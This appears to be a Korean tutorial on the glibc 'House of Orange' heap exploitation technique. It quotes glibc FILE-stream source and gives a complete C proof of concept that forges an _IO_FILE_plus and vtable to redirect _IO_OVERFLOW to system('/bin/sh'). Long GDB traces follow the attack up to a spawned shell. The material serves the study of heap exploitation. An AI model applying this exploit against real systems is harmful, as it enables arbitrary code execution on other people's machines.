Excuse the ads! We need some help to keep our site up.
Add Free chunk to Unsorted bin
vtable = "Fake vtable address"
_wide_data = "Fake struct _IO_wide_data"가 저장된 주소
Fake "struct _IO_wide_data"
Fake "struct _IO_FILE_plus"가 작성된 공간을 활용 할 수 있습니다.
_IO_flush_all_lockp() 함수에서 사용하지 않는 "fp"변수의 "_freeres_list", "_freeres_buf" 영역 다음과 같이 활용합니다.
_IO_flush_all_lockp() 함수의 "fp = fp→_chain" 코드에 의해 fp 값이 변경됩니다.
_IO_list_all->vtable->_IO_overflow_t
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */ assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); |
for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect (victim->size > av->system_mem, 0)) malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av); size = chunksize (victim); |
line 792 : 해당 줄에서 호출되는 "_IO_OVERFLOW()" 함수의 주소 값을 변경하여 system() 함수를 호출 할 수 있습니다.
Top chunk의 변경과 Unsorted bin attack을 이용해 "_IO_list_all" 값을 변경하였으나, 변경된 값은 main_arena의 주소 입니다.
즉, "fp" 변수에 저장된 값은 main_arena의 주소이며, 해당 값을 "fp = fp→_chain" 코드에 의해 Fake "_IO_FILE_plus" 주소로 변경할 수 있습니다.
int _IO_flush_all_lockp (int do_lock) { int result = 0; struct _IO_FILE *fp; int last_stamp; #ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock); #endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; } #ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0); #endif return result; } |
"_IO_list_all" 변수는 "_IO_FILE_plus" 구조체를 사용합니다.
_IO_FILE
_IO_jump_t
extern struct _IO_FILE_plus *_IO_list_all; |
struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; |
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; |
_IO_overflow_t 변수에 _IO_OVERFLOW() 함수의 주소 값을 저장하고 있습니다.
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif }; |
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif |
struct _IO_wide_data *_wide_data |
/* Extra data for wide character streams. */ struct _IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; }; |
#include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61; top[24] = 1; top[21] = 2; top[22] = 3; top[20] = (size_t) &top[18]; top[15] = (size_t) &winner; top[27] = (size_t ) &top[12]; malloc(10); return 0; } int winner(char *ptr) { system(ptr); return 0; } |
0x4005e3 : malloc() 함수 호출
0x40060e : malloc() 함수 호출
0x4006d9 : malloc() 함수 호출
gdb-peda$ b *0x4005e3 Breakpoint 1 at 0x4005e3 gdb-peda$ b *0x40060e Breakpoint 2 at 0x40060e gdb-peda$ b *0x4006d9 Breakpoint 3 at 0x4006d9 |
gdb-peda$ r Starting program: /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange Breakpoint 1, 0x00000000004005e3 in main () gdb-peda$ ni 0x00000000004005e8 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ x/2gx 0x602010 - 0x10 0x602000: 0x0000000000000000 0x0000000000000401 gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000020c01 gdb-peda$ |
|
gdb-peda$ c Continuing. Breakpoint 2, 0x000000000040060e in main () gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000000c01 gdb-peda$ p main_arena.top $1 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[1] $3 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ ni 0x0000000000400613 in main () gdb-peda$ x/2gx 0x602000 + 0x400 0x602400: 0x0000000000000000 0x0000000000000be1 gdb-peda$ p main_arena.top $4 = (mchunkptr) 0x624010 gdb-peda$ p main_arena.bins[0] $5 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[1] $6 = (mchunkptr) 0x602400 gdb-peda$ |
_IO_FILE_plus() 를 분석하기 위해 아래와 같이 "_IO_flush_all_lockp+0"영역에 Break point를 설정합니다.
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006d9 in main () gdb-peda$ x/30gx 0x602400 0x602400: 0x0068732f6e69622f 0x0000000000000061 0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 0x602420: 0x0000000000000000 0x0000000000000000 0x602430: 0x0000000000000000 0x0000000000000000 0x602440: 0x0000000000000000 0x0000000000000000 0x602450: 0x0000000000000000 0x0000000000000000 0x602460: 0x0000000000000000 0x0000000000000000 0x602470: 0x0000000000000000 0x00000000004006e5 0x602480: 0x0000000000000000 0x0000000000000000 0x602490: 0x0000000000000000 0x0000000000000000 0x6024a0: 0x0000000000602490 0x0000000000000002 0x6024b0: 0x0000000000000003 0x0000000000000000 0x6024c0: 0x0000000000000001 0x0000000000000000 0x6024d0: 0x0000000000000000 0x0000000000602460 0x6024e0: 0x0000000000000000 0x0000000000000000 gdb-peda$ p _IO_list_all $8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> gdb-peda$ disassemble _IO_flush_all_lockp Dump of assembler code for function _IO_flush_all_lockp: 0x00007ffff7a89020 <+0>: push r15 ... End of assembler dump. gdb-peda$ b *0x00007ffff7a89020 Breakpoint 4 at 0x7ffff7a89020: file genops.c, line 760. gdb-peda$ |
이로 인해 "fp→_chain" 영역의 값이 0x602400 으로 변경됩니다.
"fp = fp→_chain" 코드를 확인하기 위해 "*_IO_flush_all_lockp+490" 영역에 Break point를 설정합니다.
gdb-peda$ c Continuing. *** Error in `/home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1': malloc(): memory corruption: 0x00007ffff7dd2520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff7a847e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7ffff7a8f13e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7ffff7a91184] /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x4006de] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff7a2d830] /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1[0x400509] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00600000-00601000 r--p 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00601000-00602000 rw-p 00001000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00602000-00645000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fd5000-7ffff7fd8000 rw-p 00000000 00:00 0 7ffff7ff5000-7ffff7ff8000 rw-p 00000000 00:00 0 7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Breakpoint 4, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:760 760 genops.c: No such file or directory. gdb-peda$ p _IO_list_all $9 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[10] $10 = (mchunkptr) 0x602400 gdb-peda$ p main_arena.bins[11] $11 = (mchunkptr) 0x602400 gdb-peda$ b *_IO_flush_all_lockp+490 Breakpoint 5 at 0x7ffff7a8920a: file genops.c, line 800. gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 5, _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:800 800 in genops.c gdb-peda$ x/i _IO_flush_all_lockp+490 => 0x7ffff7a8920a <_IO_flush_all_lockp+490>: mov rbx,QWORD PTR [rbx+0x68] gdb-peda$ p fp $14 = (struct _IO_FILE *) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ i r rbx rbx 0x7ffff7dd1b78 0x7ffff7dd1b78 gdb-peda$ ni 773 in genops.c gdb-peda$ p fp $15 = (struct _IO_FILE *) 0x602400 gdb-peda$ i r rbx rbx 0x602400 0x602400 gdb-peda$ b *_IO_flush_all_lockp+356 Breakpoint 6 at 0x7ffff7a89184: file genops.c, line 786. gdb-peda$ |
vtable address : 0x602400 + 0xd8 = 0x6024d8 → 0x602460
_IO_overflow_t : 0x602460 + 0x18 = 0x602478 → 0x4006e5
gdb-peda$ c Continuing. Breakpoint 6, 0x7ffff7a89184 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ x/4i 0x7ffff7a89184 => 0x7ffff7a89184 <_IO_flush_all_lockp+356>: mov rax,QWORD PTR [rbx+0xd8] 0x7ffff7a8918b <_IO_flush_all_lockp+363>: mov esi,0xffffffff 0x7ffff7a89190 <_IO_flush_all_lockp+368>: mov rdi,rbx 0x7ffff7a89193 <_IO_flush_all_lockp+371>: call QWORD PTR [rax+0x18] gdb-peda$ i r rbx rbx 0x602400 0x602400 gdb-peda$ x/gx 0x602400 + 0xd8 0x6024d8: 0x0000000000602460 gdb-peda$ x/s 0x602400 0x602400: "/bin/sh" gdb-peda$ x/gx 0x0000000000602460 + 0x18 0x602478: 0x00000000004006e5 gdb-peda$ x/i 0x4006e5 0x4006e5 <winner>: push rbp gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 8, 0x00007ffff7a89193 in _IO_flush_all_lockp (do_lock=do_lock@entry=0x0) at genops.c:786 786 in genops.c gdb-peda$ ni [New process 48247] process 48247 is executing new program: /bin/dash Error in re-setting breakpoint 5: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 6: No symbol table is loaded. Use the "file" command. Error in re-setting breakpoint 7: No symbol table is loaded. Use the "file" command. Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x4005e3 Cannot insert breakpoint 2. Cannot access memory at address 0x40060e Cannot insert breakpoint 3. Cannot access memory at address 0x4006d9 Cannot insert breakpoint 4. Cannot access memory at address 0x7ffff7a89020 Cannot insert breakpoint 8. Cannot access memory at address 0x7ffff7a89193 gdb-peda$ |
lazenca0x0@ubuntu:~/Documents/Definition/heap/HouseOfOrange$ ./orange1 *** Error in `./orange1': malloc(): memory corruption: 0x00007fa48f8c8520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fa48f57a7e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fa48f58513e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fa48f587184] ./orange1[0x4006de] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fa48f523830] ./orange1[0x400509] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00600000-00601000 r--p 00000000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 00601000-00602000 rw-p 00001000 08:01 436364 /home/lazenca0x0/Documents/Definition/heap/HouseOfOrange/orange1 0211d000-02160000 rw-p 00000000 00:00 0 [heap] 7fa488000000-7fa488021000 rw-p 00000000 00:00 0 7fa488021000-7fa48c000000 ---p 00000000 00:00 0 7fa48f2ed000-7fa48f303000 r-xp 00000000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f303000-7fa48f502000 ---p 00016000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f502000-7fa48f503000 rw-p 00015000 08:01 660756 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fa48f503000-7fa48f6c3000 r-xp 00000000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f6c3000-7fa48f8c3000 ---p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c3000-7fa48f8c7000 r--p 001c0000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c7000-7fa48f8c9000 rw-p 001c4000 08:01 655589 /lib/x86_64-linux-gnu/libc-2.23.so 7fa48f8c9000-7fa48f8cd000 rw-p 00000000 00:00 0 7fa48f8cd000-7fa48f8f3000 r-xp 00000000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48facf000-7fa48fad2000 rw-p 00000000 00:00 0 7fa48faef000-7fa48faf2000 rw-p 00000000 00:00 0 7fa48faf2000-7fa48faf3000 r--p 00025000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf3000-7fa48faf4000 rw-p 00026000 08:01 655548 /lib/x86_64-linux-gnu/ld-2.23.so 7fa48faf4000-7fa48faf5000 rw-p 00000000 00:00 0 7ffca3f1b000-7ffca3f3c000 rw-p 00000000 00:00 0 [stack] 7ffca3fd1000-7ffca3fd3000 r--p 00000000 00:00 0 [vvar] 7ffca3fd3000-7ffca3fd5000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ ls hell orange1 orange1.c peda-session-dash.txt peda-session-orange1.txt peda-session-test.txt test $ id uid=1001(lazenca0x0) gid=1001(lazenca0x0) groups=1001(lazenca0x0) $ |